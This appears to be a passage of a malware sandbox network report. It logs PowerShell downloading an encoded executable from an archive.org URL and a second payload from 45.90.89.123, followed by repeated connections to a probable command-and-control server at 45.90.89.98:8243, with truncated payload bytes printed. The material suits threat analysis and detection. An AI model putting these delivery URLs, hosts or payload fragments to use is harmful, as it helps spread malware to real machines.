Oct 2, 2024 05:29:28.497047901 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.497047901 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.497076035 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.497095108 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.497106075 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.497117043 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.497138023 CEST	80	49707	45.90.89.123	192.168.2.10
Oct 2, 2024 05:29:28.497162104 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.497162104 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.551388025 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.919708967 CEST	49708	8243	192.168.2.10	45.90.89.98
Oct 2, 2024 05:29:28.924668074 CEST	8243	49708	45.90.89.98	192.168.2.10
Oct 2, 2024 05:29:28.924745083 CEST	49708	8243	192.168.2.10	45.90.89.98
Oct 2, 2024 05:29:28.931718111 CEST	49708	8243	192.168.2.10	45.90.89.98
Oct 2, 2024 05:29:28.936359882 CEST	49707	80	192.168.2.10	45.90.89.123
Oct 2, 2024 05:29:28.936480045 CEST	8243	49708	45.90.89.98	192.168.2.10
Oct 2, 2024 05:29:50.329617977 CEST	8243	49708	45.90.89.98	192.168.2.10
Oct 2, 2024 05:29:50.329694986 CEST	49708	8243	192.168.2.10	45.90.89.98
Oct 2, 2024 05:29:50.329792023 CEST	49708	8243	192.168.2.10	45.90.89.98
Oct 2, 2024 05:29:50.334584951 CEST	8243	49708	45.90.89.98	192.168.2.10
Oct 2, 2024 05:29:51.333445072 CEST	49713	8243	192.168.2.10	45.90.89.98
Oct 2, 2024 05:29:51.338356972 CEST	8243	49713	45.90.89.98	192.168.2.10
Oct 2, 2024 05:29:51.338442087 CEST	49713	8243	192.168.2.10	45.90.89.98
Oct 2, 2024 05:29:51.341775894 CEST	49713	8243	192.168.2.10	45.90.89.98
Oct 2, 2024 05:29:51.347202063 CEST	8243	49713	45.90.89.98	192.168.2.10
Oct 2, 2024 05:30:12.684313059 CEST	8243	49713	45.90.89.98	192.168.2.10
Oct 2, 2024 05:30:12.684380054 CEST	49713	8243	192.168.2.10	45.90.89.98
Oct 2, 2024 05:30:12.684472084 CEST	49713	8243	192.168.2.10	45.90.89.98
Oct 2, 2024 05:30:12.689189911 CEST	8243	49713	45.90.89.98	192.168.2.10
Oct 2, 2024 05:30:13.692903996 CEST	60898	8243	192.168.2.10	45.90.89.98
Oct 2, 2024 05:30:13.697936058 CEST	8243	60898	45.90.89.98	192.168.2.10
Oct 2, 2024 05:30:13.698040009 CEST	60898	8243	192.168.2.10	45.90.89.98
Oct 2, 2024 05:30:13.701656103 CEST	60898	8243	192.168.2.10	45.90.89.98
Oct 2, 2024 05:30:13.707577944 CEST	8243	60898	45.90.89.98	192.168.2.10
Oct 2, 2024 05:30:35.061177969 CEST	8243	60898	45.90.89.98	192.168.2.10
Oct 2, 2024 05:30:35.061345100 CEST	60898	8243	192.168.2.10	45.90.89.98
Oct 2, 2024 05:30:35.061392069 CEST	60898	8243	192.168.2.10	45.90.89.98
Oct 2, 2024 05:30:35.066273928 CEST	8243	60898	45.90.89.98	192.168.2.10
Oct 2, 2024 05:30:36.067759991 CEST	60899	8243	192.168.2.10	45.90.89.98
Oct 2, 2024 05:30:36.072602987 CEST	8243	60899	45.90.89.98	192.168.2.10
Oct 2, 2024 05:30:36.072680950 CEST	60899	8243	192.168.2.10	45.90.89.98
Oct 2, 2024 05:30:36.076843977 CEST	60899	8243	192.168.2.10	45.90.89.98
Oct 2, 2024 05:30:36.081566095 CEST	8243	60899	45.90.89.98	192.168.2.10
Oct 2, 2024 05:30:57.500905037 CEST	8243	60899	45.90.89.98	192.168.2.10
Oct 2, 2024 05:30:57.500976086 CEST	60899	8243	192.168.2.10	45.90.89.98
Oct 2, 2024 05:30:57.501050949 CEST	60899	8243	192.168.2.10	45.90.89.98
Oct 2, 2024 05:30:57.505831957 CEST	8243	60899	45.90.89.98	192.168.2.10
Oct 2, 2024 05:30:58.505439043 CEST	60900	8243	192.168.2.10	45.90.89.98
Oct 2, 2024 05:30:58.510392904 CEST	8243	60900	45.90.89.98	192.168.2.10
Oct 2, 2024 05:30:58.510473967 CEST	60900	8243	192.168.2.10	45.90.89.98
Oct 2, 2024 05:30:58.514303923 CEST	60900	8243	192.168.2.10	45.90.89.98
Oct 2, 2024 05:30:58.519072056 CEST	8243	60900	45.90.89.98	192.168.2.10
Oct 2, 2024 05:31:19.894217968 CEST	8243	60900	45.90.89.98	192.168.2.10
Oct 2, 2024 05:31:19.894304991 CEST	60900	8243	192.168.2.10	45.90.89.98
Oct 2, 2024 05:31:19.894351006 CEST	60900	8243	192.168.2.10	45.90.89.98
Oct 2, 2024 05:31:19.899279118 CEST	8243	60900	45.90.89.98	192.168.2.10
Oct 2, 2024 05:31:20.896199942 CEST	60901	8243	192.168.2.10	45.90.89.98
Oct 2, 2024 05:31:20.901194096 CEST	8243	60901	45.90.89.98	192.168.2.10
Oct 2, 2024 05:31:20.901276112 CEST	60901	8243	192.168.2.10	45.90.89.98
Oct 2, 2024 05:31:20.906311989 CEST	60901	8243	192.168.2.10	45.90.89.98
Oct 2, 2024 05:31:20.911190033 CEST	8243	60901	45.90.89.98	192.168.2.10

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 2, 2024 05:29:21.055444002 CEST	59927	53	192.168.2.10	1.1.1.1
Oct 2, 2024 05:29:21.203010082 CEST	53	59927	1.1.1.1	192.168.2.10
Oct 2, 2024 05:30:02.714600086 CEST	53	57638	162.159.36.2	192.168.2.10
Oct 2, 2024 05:30:03.203651905 CEST	53	59447	1.1.1.1	192.168.2.10

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 2, 2024 05:29:21.055444002 CEST	192.168.2.10	1.1.1.1	0x2b7c	Standard query (0)	ia600100.us.archive.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 2, 2024 05:29:21.203010082 CEST	1.1.1.1	192.168.2.10	0x2b7c	No error (0)	ia600100.us.archive.org		207.241.227.240	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

ia600100.us.archive.org

45.90.89.123

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49707	45.90.89.123	80	7484	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 2, 2024 05:29:26.972961903 CEST	76	OUT	GET /2117/RMCCF.txt HTTP/1.1 Host: 45.90.89.123 Connection: Keep-Alive
Oct 2, 2024 05:29:27.676702976 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 02 Oct 2024 03:29:27 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Thu, 19 Sep 2024 10:29:15 GMT ETag: "a1000-6227664f1b339" Accept-Ranges: bytes Content-Length: 659456 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/plain Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 77 44 71 38 67 49 50 73 78 44 54 38 77 43 50 49 73 44 2f 37 77 39 4f 77 75 44 6c 37 51 33 4f 55 74 44 4d 37 41 68 4f 73 72 44 7a 36 77 71 4f 4d 71 44 62 36 51 6b 4f 6f 6f 44 45 36 67 67 4f 45 6f 44 41 35 77 66 4f 34 6e 44 39 35 41 36 4d 30 4d 44 4d 79 51 71 4d 67 4b 44 68 79 41 6f 4d 38 4a 44 63 79 67 6c 4d 49 4a 44 4f 79 67 69 4d 59 45 44 36 78 67 64 4d 55 48 44 30 78 77 63 4d 49 48 44 78 78 41 63 4d 38 47 44 75 78 77 61 4d 6f 47 44 70 78 41 61 4d 63 47 44 6d 78 51 5a 4d 51 47 44 6a 78 67 59 4d 34 46 44 64 78 41 48 41 41 41 41 6a 41 63 41 45 41 34 44 74 2b 41 71 50 59 36 44 68 2b 77 6e 50 30 35 44 62 2b 67 6d 50 67 35 44 54 2b 51 6b 50 77 34 44 4b 2b 41 69 50 59 34 44 46 2b 41 68 50 4d 34 44 43 2b 41 51 50 38 33 44 39 39 41 65 50 59 33 44 78 39 77 62 50 30 32 44 72 39 67 [TRUNCATED] Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwDq8gIPsxDT8wCPIsD/7w9OwuDl7Q3OUtDM7AhOsrDz6wqOMqDb6QkOooDE6ggOEoDA5wfO4nD95A6M0MDMyQqMgKDhyAoM8JDcyglMIJDOygiMYED6xgdMUHD0xwcMIHDxxAcM8GDuxwaMoGDpxAaMcGDmxQZMQGDjxgYM4FDdxAHAAAAjAcAEA4Dt+AqPY6Dh+wnP05Db+gmPg5DT+QkPw4DK+AiPY4DF+AhPM4DC+AQP83D99AePY3Dx9wbP02Dr9gYPA2De9QXPY1DO9QTPYwD+8gNP4yDm8gHPYxDO8gxO4vD27g7OYuDe7g1O4sDG6gvOYrDu6gpO4pDW6gjO0oDG5gfOYnDu5gZO8lDe5AXOQlDM5ABOwjD04ALOQiDc4AFOwgDF4gwNofDy3g6NIeDa3g0NocDC2QvNsbD62AuNYbD02wsNgaDm2woNoZDW2QlN4YDN2whNYYDE1QfNwXD61AZNEWDZ1gVNQVDP1QTNwUDL1QSNcUDF1AAN4TD90APNoTD40gNNETDv0gKNgSDn0gJNQSDi0AINsRDZ0AGNYRDU0gENERDK0QCNMMD/zg8MAPDtzQ6MwNDazw1MMNDGzAxMEID9yAsM4KDrywpMoJDYyQlMEJDEygQM8HD7xgbMwGDpxQZMgFDWxwUM8EDCxAAM0DD7wQOMwCDqwwJMUCDjwgFMQBDRwwDM0ADAAAQAQCgBgDwP4/D7/w9Po+Do/Q5PE+DU/g0P88DL/wxPI4Dx+wrPw6Do+ApP85DO+AjPk4DF9AePYnDi5AXOolDZ5AWOQlDT5wTOkkDH5gROUkDE5wQOIgD+4QPOkjDz4QMOAjDv4
Oct 2, 2024 05:29:27.676723957 CEST	1236	IN	Data Raw: 67 4c 4f 30 69 44 73 34 41 4b 4f 63 69 44 6a 34 51 48 4f 73 68 44 61 34 51 47 4f 67 68 44 58 34 77 45 4f 49 68 44 4f 34 41 43 4f 59 67 44 46 34 41 42 4f 4d 67 44 43 33 67 2f 4e 30 66 44 35 33 77 38 4e 45 66 44 77 33 77 37 4e 73 65 44 71 33 67 35 Data Ascii: gLO0iDs4AKOciDj4QHOshDa4QGOghDX4wEOIhDO4ACOYgDF4ABOMgDC3g/N0fD53w8NEfDw3w7NseDq3g5NUeDh3w2NkdDY3A1N4cDM3wyNocDJ3QhN8bD+2AuNYbD12AtNMbDy2grN0aDp2woNEaDg2AnNsZDX2QkN8YDO2QjNkYDI2ARN4XD81weNoXD51QdNQXDw1gaNgWDn1gZNUWDh1AYNwVDW1AVNMVDS1gTN0UDJ1wQN
Oct 2, 2024 05:29:27.676738024 CEST	1236	IN	Data Raw: 78 44 58 38 51 46 50 4d 78 44 52 38 77 44 50 30 77 44 4c 38 51 43 50 63 77 44 46 38 77 41 50 45 73 44 2f 37 51 2f 4f 73 76 44 35 37 77 39 4f 55 76 44 7a 37 51 38 4f 38 75 44 74 37 77 36 4f 6b 75 44 6e 37 51 35 4f 4d 75 44 68 37 77 33 4f 30 74 44 Data Ascii: xDX8QFPMxDR8wDP0wDL8QCPcwDF8wAPEsD/7Q/OsvD57w9OUvDz7Q8O8uDt7w6OkuDn7Q5OMuDh7w3O0tDb7Q2OctDV7w0OEtDP7QzOssDJ7wxOUsDD7QgO8rD96wuOkrD36QtOMrDx6wrO0qDr6QqOcqDl6woOEqDf6QnOspDZ6wlOUpDT6QkO8oDN6wiOkoDH6QhOMoDB5wfO0nD75QeOcnD15wcOEnDv5QbOsmDp5wZOUmDj
Oct 2, 2024 05:29:27.676748991 CEST	1236	IN	Data Raw: 77 78 4f 59 41 41 41 41 41 4f 41 46 41 4f 41 41 41 41 4e 6b 53 44 6f 30 77 4a 4e 59 53 44 6c 30 41 4a 4e 4d 53 44 69 30 51 49 4e 41 53 44 66 30 67 48 4e 30 52 44 63 30 77 47 4e 6f 52 44 59 30 77 46 4e 59 52 44 56 30 41 46 4e 4d 52 44 52 30 67 44 Data Ascii: wxOYAAAAAOAFAOAAAANkSDo0wJNYSDl0AJNMSDi0QINASDf0gHN0RDc0wGNoRDY0wFNYRDV0AFNMRDR0gDN0QDM0wCNoQDJ0ACNcQDF0ABNMQDC0QANAMD/zg/MwPD6AAAAcBQBQDgO8rD+6QvOwrD76guOkrD46wtOYrD16AtOMrDy6QsOArDv6grO0qDs6wqOoqDp6AqOcqDm6QpOQqDj6goOEqDg6wnO4pDd6AnOspDa6QmO
Oct 2, 2024 05:29:27.676759958 CEST	1236	IN	Data Raw: 79 44 6e 38 51 4a 50 4d 79 44 68 38 77 48 50 30 78 44 62 38 51 47 50 63 78 44 56 38 77 45 50 45 78 44 50 38 51 44 50 73 77 44 4a 38 77 42 50 55 77 44 44 38 51 77 4f 38 76 44 39 37 77 2b 4f 6b 76 44 33 37 51 39 4f 4d 76 44 78 37 77 37 4f 30 75 44 Data Ascii: yDn8QJPMyDh8wHP0xDb8QGPcxDV8wEPExDP8QDPswDJ8wBPUwDD8QwO8vD97w+OkvD37Q9OMvDx7w7O0uDr7Q6OcuDl7w4OEuDf7Q3OstDZ7w1OUtDT7Q0O8sDN7wyOksDH7QxOMsDB6wvO0rD76QuOcrD16wsOErDv6QrOsqDp6wpOUqDj6QoO8pDd6wmOkpDX6QlOMpDR6wjO0oDL6QiOcoDF6wgOEkD/5QfOsnD55wdOUnDz
Oct 2, 2024 05:29:27.676769972 CEST	1236	IN	Data Raw: 6f 2f 50 77 2f 6a 35 2f 77 39 50 53 2f 44 79 2f 34 37 50 79 2b 7a 70 2f 30 35 50 54 2b 54 69 2f 38 33 50 6b 39 54 53 2f 59 79 50 44 34 44 36 2b 34 74 50 55 37 6a 79 2b 41 73 50 32 36 44 72 2b 49 71 50 59 36 6a 6a 2b 51 6f 50 36 35 44 63 2b 59 6d Data Ascii: o/Pw/j5/w9PS/Dy/47Py+zp/05PT+Ti/83Pk9TS/YyPD4D6+4tPU7jy+AsP26Dr+IqPY6jj+QoP65Dc+YmPc5jU+gkP+4TN+4gPG0z79scPP2TU9QBPYzTy8oLPHyzf7s7Ozuzq7M2O+sDH6cvOorT26QBOGjjH4IwN+dTYzU5MPOzez01MLNjRxceMzGjgxwXMVAjKwsBMPAAAAQKAFAHAAAwP//j4/o9Pw+Ta/k0P98TM/0xP
Oct 2, 2024 05:29:27.676783085 CEST	776	IN	Data Raw: 35 44 55 2b 67 52 50 41 33 44 73 39 59 61 50 5a 32 7a 6a 39 41 59 50 6d 31 7a 58 39 67 56 50 52 31 6a 48 39 6b 51 50 45 77 7a 38 38 6b 4f 50 4c 7a 7a 72 38 30 4a 50 4c 79 44 66 38 49 67 4f 35 72 6a 30 36 63 6d 4f 41 6c 7a 6d 32 49 74 4e 7a 61 54 Data Ascii: 5DU+gRPA3Ds9YaPZ2zj9AYPm1zX9gVPR1jH9kQPEwz88kOPLzzr80JPLyDf8IgO5rj06cmOAlzm2ItNzaTR1oeNJSTv0ALNoSzezU0MCIT4yktMBLTrxAeMxGTQwYPMuDjcwsGMrAAAAAHAEAOAAAwPM/zn/w1PR9DS/QiP+7j9+cpPP6zX+4UPh2DN9QBPlzT38UMP5yjc84FPksDw7U3OstzY700OBtzI7sxOQszB6EvObrDo
Oct 2, 2024 05:29:27.676836014 CEST	1236	IN	Data Raw: 41 41 42 67 43 77 50 74 2b 54 6b 2b 51 6e 50 2b 30 7a 6b 39 4d 59 50 70 30 6a 42 38 41 4e 50 2b 79 7a 68 38 77 45 50 78 77 54 41 37 67 38 4f 54 74 54 52 37 41 30 4f 7a 73 54 48 37 63 77 4f 41 6f 7a 33 35 38 2b 4e 7a 66 7a 49 33 51 67 4e 69 62 44 Data Ascii: AABgCwPt+Tk+QnP+0zk9MYPp0jB8ANP+yzh8wEPxwTA7g8OTtTR7A0OzsTH7cwOAoz358+NzfzI3QgNibDd2IlNCZTL2MSNCWTb1QWNXVDT0YPNuTTy0EMNTSDj0sHNxRzZ0AGNRRzS0QEN5ITvyIrMSFj+xQfMuHz2x0cMFHjrxQaMZGzkx4YMpFDYxwTM0AT9w0OMsCTow4EMIBAAAAKAEAJA/E+PZ/zy/M8P6+Ts/k6Ph+Tm
Oct 2, 2024 05:29:27.676847935 CEST	1236	IN	Data Raw: 42 41 41 41 38 7a 34 2f 55 32 50 4f 35 44 75 2b 34 6d 50 57 35 7a 42 39 77 66 50 6a 32 6a 67 38 73 4e 50 4b 79 6a 64 38 73 47 50 67 78 7a 57 38 45 46 50 4d 78 6a 4d 38 63 78 4f 71 76 6a 30 37 6f 35 4f 30 74 7a 56 37 45 69 4f 33 72 44 32 34 6f 4c Data Ascii: BAAA8z4/U2PO5Du+4mPW5zB9wfPj2jg8sNPKyjd8sGPgxzW8EFPMxjM8cxOqvj07o5O0tzV7EiO3rD24oLO1izh4YGOhhjL4cCOIcj/3g/NZfzz1sdNQXzl14YNjUTH1cRNNQTu0UKNfSTj00ENyQDI08ANGMD/zQ/MiPjmzE5M/NDez4gM9LD+ywuMnLD1ygsMBLjqyQpM+Jzby8jMjIDExkeMTDznw4GMjBDSwQCMIAAAAgLA
Oct 2, 2024 05:29:27.676866055 CEST	1236	IN	Data Raw: 66 6a 34 33 34 39 4e 61 66 6a 31 33 49 39 4e 4f 66 6a 79 33 59 38 4e 43 66 6a 76 33 6f 37 4e 32 65 6a 73 33 34 36 4e 71 65 6a 70 33 49 36 4e 65 65 6a 6d 33 59 35 4e 53 65 6a 6a 33 6f 34 4e 47 65 6a 67 33 34 33 4e 36 64 6a 64 33 49 33 4e 75 64 6a Data Ascii: fj4349Nafj13I9NOfjy3Y8NCfjv3o7N2ejs346Nqejp3I6Neejm3Y5NSejj3o4NGejg343N6djd3I3NudjaAAAAgCwAACAAAUjYAAAAMAwAwBwPQ/DW/UEPsyDq8QKPgyzm8YFPAsD/7g/O0vz77g+OxqzA5UfOXnDx3wyNocDJ3AyNbYj12AoN8ZDe2QnNvZDa2EDNDSTd0cFNENDlzE1MLNzOzIhMpLzwyEqMbKTjygoMCKDf
Oct 2, 2024 05:29:27.681711912 CEST	1236	IN	Data Raw: 51 70 4e 42 61 6a 4d 32 59 51 4e 6f 57 54 6c 31 6b 55 4e 44 56 6a 49 31 30 52 4e 54 55 44 43 30 34 50 4e 30 54 6a 37 30 67 4f 4e 69 54 44 33 30 6f 4d 4e 41 54 44 75 30 30 4b 4e 6e 53 54 6f 30 6f 49 4e 43 53 54 52 30 30 44 4e 76 51 54 4a 30 59 42 Data Ascii: QpNBajM2YQNoWTl1kUNDVjI10RNTUDC04PN0Tj70gONiTD30oMNATDu00KNnSTo0oINCSTR00DNvQTJ0YBNLQjB0AwMnPj3zk9MKPjvzs6MjOzjzY4MBODezM3MsNTXzc1MKJDdyomMgJjVywkMGBAABQBADAEA/whP11j29kDPmyzE7AoOvnDB4IPOcjTp4cIOshDS4EDOUgDDAAAAsAwAwAwPA+za/YlP+TjNzcOAAAAFAMAI

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49706	207.241.227.240	443	7484	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 03:29:21 UTC	109	OUT	GET /24/items/detah-note-v/DetahNoteV.txt HTTP/1.1 Host: ia600100.us.archive.org Connection: Keep-Alive
2024-10-02 03:29:22 UTC	606	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Wed, 02 Oct 2024 03:29:22 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2823512 Last-Modified: Wed, 11 Sep 2024 23:50:18 GMT Connection: close ETag: "66e22cba-2b1558" Strict-Transport-Security: max-age=15724800 Expires: Wed, 02 Oct 2024 09:29:22 GMT Cache-Control: max-age=21600 Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Accept-Encoding,Accept-Language,Authorization,Cache-Control,Content-Length,Content-Range,DNT,Pragma,Range,X-Requested-With Access-Control-Allow-Credentials: true Accept-Ranges: bytes
2024-10-02 03:29:22 UTC	15778	IN	Data Raw: 54 56 71 51 41 41 4d 41 41 41 41 45 41 41 41 41 2f 2f 38 41 41 4c 67 41 41 41 41 41 41 41 41 41 51 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 67 41 41 41 41 41 34 66 75 67 34 41 74 41 6e 4e 49 62 67 42 54 4d 30 68 56 47 68 70 63 79 42 77 63 6d 39 6e 63 6d 46 74 49 47 4e 68 62 6d 35 76 64 43 42 69 5a 53 42 79 64 57 34 67 61 57 34 67 52 45 39 54 49 47 31 76 5a 47 55 75 44 51 30 4b 4a 41 41 41 41 41 41 41 41 41 42 51 52 51 41 41 54 41 45 44 41 42 6f 43 42 62 6f 41 41 41 41 41 41 41 41 41 41 4f 41 41 44 69 45 4c 41 54 41 41 41 45 59 67 41 41 41 49 41 41 41 41 41 41 41 41 76 6d 55 67 41 41 41 67 41 41 41 41 67 43 41 41 41 41 42 41 41 41 41 67 41 41 41 41 41 67 41 Data Ascii: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDABoCBboAAAAAAAAAAOAADiELATAAAEYgAAAIAAAAAAAAvmUgAAAgAAAAgCAAAABAAAAgAAAAAgA
2024-10-02 03:29:22 UTC	16384	IN	Data Raw: 41 41 41 50 34 4d 45 77 42 46 41 67 41 41 41 41 55 41 41 41 41 31 41 41 41 41 4f 41 41 41 41 41 41 41 45 51 4d 52 46 78 45 49 63 35 73 46 41 41 5a 76 63 51 41 41 43 69 41 42 41 41 41 41 66 73 55 49 41 41 52 37 42 51 6b 41 42 44 6e 4a 2f 2f 2f 2f 4a 69 41 41 41 41 41 41 4f 4c 37 2f 2f 2f 38 41 41 4e 30 66 41 41 41 41 49 41 49 41 41 41 42 2b 78 51 67 41 42 48 73 53 43 51 41 45 4f 73 6e 36 2f 2f 38 6d 49 41 41 41 41 41 41 34 76 76 72 2f 2f 78 45 44 62 79 73 41 41 41 6f 57 50 6f 38 41 41 41 41 67 41 51 41 41 41 48 37 46 43 41 41 45 65 77 73 4a 41 41 51 36 6e 66 72 2f 2f 79 59 67 41 51 41 41 41 44 69 53 2b 76 2f 2f 45 67 63 6f 63 41 41 41 43 68 4d 49 49 41 55 41 41 41 42 2b 78 51 67 41 42 48 76 30 43 41 41 45 4f 6e 58 36 2f 2f 38 6d 49 41 59 41 41 41 41 34 61 Data Ascii: AAAP4MEwBFAgAAAAUAAAA1AAAAOAAAAAAAEQMRFxEIc5sFAAZvcQAACiABAAAAfsUIAAR7BQkABDnJ////JiAAAAAAOL7///8AAN0fAAAAIAIAAAB+xQgABHsSCQAEOsn6//8mIAAAAAA4vvr//xEDbysAAAoWPo8AAAAgAQAAAH7FCAAEewsJAAQ6nfr//yYgAQAAADiS+v//EgcocAAAChMIIAUAAAB+xQgABHv0CAAEOnX6//8mIAYAAAA4a
2024-10-02 03:29:22 UTC	16384	IN	Data Raw: 2f 2f 2f 77 41 52 42 47 39 49 49 77 41 47 62 33 51 41 41 41 6f 54 42 53 41 46 41 41 41 41 4f 44 48 2f 2f 2f 38 41 4f 4e 73 41 41 41 41 67 43 41 41 41 41 44 67 45 41 41 41 41 2f 67 77 4d 41 45 55 67 41 41 41 41 4f 51 49 41 41 47 34 43 41 41 42 61 41 51 41 41 66 51 41 41 41 4d 73 43 41 41 43 4d 41 51 41 41 46 41 45 41 41 4a 77 44 41 41 43 55 41 41 41 41 41 51 4d 41 41 4c 77 41 41 41 41 57 41 41 41 41 33 41 49 41 41 4d 63 42 41 41 43 6a 41 51 41 41 53 67 49 41 41 41 55 41 41 41 43 62 41 67 41 41 58 67 41 41 41 49 45 42 41 41 41 38 41 51 41 41 61 77 45 41 41 42 30 44 41 41 44 38 41 41 41 41 66 77 49 41 41 4f 30 42 41 41 44 68 41 41 41 41 53 77 45 41 41 44 51 41 41 41 42 46 41 41 41 41 49 51 41 41 41 42 4d 43 41 41 41 34 4e 41 49 41 41 42 45 49 4f 6a 30 44 41 Data Ascii: ///wARBG9IIwAGb3QAAAoTBSAFAAAAODH///8AONsAAAAgCAAAADgEAAAA/gwMAEUgAAAAOQIAAG4CAABaAQAAfQAAAMsCAACMAQAAFAEAAJwDAACUAAAAAQMAALwAAAAWAAAA3AIAAMcBAACjAQAASgIAAAUAAACbAgAAXgAAAIEBAAA8AQAAawEAAB0DAAD8AAAAfwIAAO0BAADhAAAASwEAADQAAABFAAAAIQAAABMCAAA4NAIAABEIOj0DA
2024-10-02 03:29:22 UTC	16384	IN	Data Raw: 38 52 43 53 68 31 41 67 41 47 62 7a 49 6a 41 41 59 52 43 57 2f 47 49 67 41 47 4b 48 59 43 41 41 5a 76 4d 69 4d 41 42 69 68 30 41 67 41 47 45 77 38 67 43 51 41 41 41 48 37 46 43 41 41 45 65 38 49 49 41 41 51 36 7a 50 37 2f 2f 79 59 67 44 51 41 41 41 44 6a 42 2f 76 2f 2f 45 51 49 54 41 79 41 49 41 41 41 41 2f 67 34 4b 41 44 69 72 2f 76 2f 2f 4f 42 73 42 41 41 41 67 41 41 41 41 41 48 37 46 43 41 41 45 65 37 4d 49 41 41 51 36 6c 76 37 2f 2f 79 59 67 41 41 41 41 41 44 69 4c 2f 76 2f 2f 45 51 45 67 70 30 47 63 33 79 41 44 41 41 41 41 59 79 42 63 44 35 4f 49 59 58 37 46 43 41 41 45 65 38 51 49 41 41 52 68 4b 46 51 43 41 41 59 6f 59 77 49 41 42 68 4d 43 49 42 34 41 41 41 41 34 56 2f 37 2f 2f 78 45 48 4f 6c 6f 42 41 41 41 67 43 67 41 41 41 48 37 46 43 41 41 45 65 Data Ascii: 8RCSh1AgAGbzIjAAYRCW/GIgAGKHYCAAZvMiMABih0AgAGEw8gCQAAAH7FCAAEe8IIAAQ6zP7//yYgDQAAADjB/v//EQITAyAIAAAA/g4KADir/v//OBsBAAAgAAAAAH7FCAAEe7MIAAQ6lv7//yYgAAAAADiL/v//EQEgp0Gc3yADAAAAYyBcD5OIYX7FCAAEe8QIAARhKFQCAAYoYwIABhMCIB4AAAA4V/7//xEHOloBAAAgCgAAAH7FCAAEe
2024-10-02 03:29:22 UTC	16384	IN	Data Raw: 41 41 4f 4d 37 38 2f 2f 38 52 41 54 6b 71 2f 66 2f 2f 49 41 63 41 41 41 42 2b 78 51 67 41 42 48 76 6b 43 41 41 45 4f 72 50 38 2f 2f 38 6d 49 41 49 41 41 41 41 34 71 50 7a 2f 2f 77 41 41 41 52 41 41 41 41 49 41 71 77 44 35 70 41 46 33 41 41 41 41 41 43 5a 2b 6f 51 41 41 42 42 54 2b 41 53 6f 41 41 42 70 2b 6f 51 41 41 42 43 6f 41 4b 76 34 4a 41 41 42 76 5a 51 41 41 43 69 6f 41 4b 76 34 4a 41 41 42 76 54 51 41 41 43 69 6f 41 4c 67 44 2b 43 51 41 41 4b 50 77 6c 41 41 59 71 4c 67 44 2b 43 51 41 41 4b 4c 45 45 41 41 59 71 4b 76 34 4a 41 41 42 76 2b 51 49 41 42 69 6f 41 4b 76 34 4a 41 41 42 76 2b 41 49 41 42 69 6f 41 4b 76 34 4a 41 41 42 76 45 43 4d 41 42 69 6f 41 4c 67 44 2b 43 51 41 41 4b 43 55 42 41 41 6f 71 48 67 41 6f 73 41 51 41 42 69 70 4b 2f 67 6b 41 41 Data Ascii: AAOM78//8RATkq/f//IAcAAAB+xQgABHvkCAAEOrP8//8mIAIAAAA4qPz//wAAARAAAAIAqwD5pAF3AAAAACZ+oQAABBT+ASoAABp+oQAABCoAKv4JAABvZQAACioAKv4JAABvTQAACioALgD+CQAAKPwlAAYqLgD+CQAAKLEEAAYqKv4JAABv+QIABioAKv4JAABv+AIABioAKv4JAABvECMABioALgD+CQAAKCUBAAoqHgAosAQABipK/gkAA
